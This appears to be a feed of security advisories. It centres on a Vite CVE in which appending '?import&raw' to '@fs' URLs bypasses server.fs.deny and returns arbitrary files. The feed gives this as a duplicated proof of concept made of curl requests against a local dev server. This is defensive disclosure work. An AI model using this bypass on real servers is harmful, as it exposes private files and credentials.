Most recent entries from all

BREW-vite-CVE-2024-45811 — Vite's `server.fs.deny` is bypassed when using `?import&raw`

Affected: Homebrew: vite

### Summary The contents of arbitrary files can be returned to the browser.

### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.

### PoC ```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt"

<body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.

# security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```

EUVD-2026-186144

fkie_cve-2024-45811

Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.

GHSA-9cwx-2883-4wfx — Vite's `server.fs.deny` is bypassed when using `?import&raw`

Affected: npm: vite

### Summary The contents of arbitrary files can be returned to the browser.

### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.

### PoC ```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt"

<body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.

# security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```

openSUSE-SU-2025:14663-1 — velociraptor-0.7.0.4.git142.862ef23-1.1 on GA media

velociraptor-0.7.0.4.git142.862ef23-1.1 on GA media

RHSA-2024:10917 — Red Hat Security Advisory: Red Hat OpenShift distributed tracing platform (Jaeger) 3.4 release

http-proxy-middleware: http-proxy-middleware: Denial of Service via unhandled error during path matching express: Improper Input Handling in Express Redirects send: Code Execution Vulnerability in Send Library serve-static: Improper Sanitization in serve-static path-to-regexp: Backtracking regular expressions cause ReDoS body-parser: Denial of Service Vulnerability in body-parser vite: server.fs.deny is bypassed when using `?import&raw` vite: XSS via DOM Clobbering gadget found in vite bundled scripts rollup: DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS